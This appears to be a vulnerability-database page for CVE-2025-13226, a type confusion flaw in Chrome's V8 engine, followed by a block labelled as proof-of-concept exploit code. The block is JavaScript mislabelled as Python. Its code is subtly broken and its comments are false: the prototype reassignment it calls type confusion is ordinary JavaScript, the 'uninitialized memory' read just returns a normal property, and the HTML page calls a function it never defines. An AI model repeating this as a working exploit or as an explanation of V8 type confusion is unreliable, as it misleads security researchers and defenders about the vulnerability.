Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers using V8 engine < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13226 PoC - Type Confusion in V8
// This is a conceptual PoC demonstrating the attack vector
function triggerTypeConfusion() {
// Create objects with different hidden classes (maps)
const obj1 = { x: 1.1, y: 2.2 };
const obj2 = { a: 3.3, b: 4.4, c: 5.5 };
// Force V8 to optimize and potentially miscompile
// The attacker manipulates object shapes to cause confusion
for (let i = 0; i < 10000; i++) {
obj1.x = i * 0.1;
obj2.a = i * 0.1;
}
// Trigger type confusion by modifying object structure
// This causes V8 to treat obj1 as if it has obj2's structure
obj1.__proto__ = obj2;
// Access that should be safe but becomes exploitable
// due to type confusion
return obj1.c; // Reading uninitialized memory
}
// Malicious HTML page that triggers the vulnerability
const pocHTML = `
<!DOCTYPE html>
<html>
<head><title>Chrome V8 Type Confusion PoC</title></head>
<body>
<h1>CVE-2025-13226 - V8 Type Confusion</h1>
<script>
// Trigger the vulnerability
try {
const result = triggerTypeConfusion();
console.log('Triggered: ' + result);
} catch (e) {
console.error('Error: ' + e.message);
}
</script>
</body>
</html>
`;
console.log('CVE-2025-13226 PoC Generated');
console.log('Target: Google Chrome < 142.0.7444.59');
console.log('Vulnerability: Type Confusion in V8 JavaScript Engine');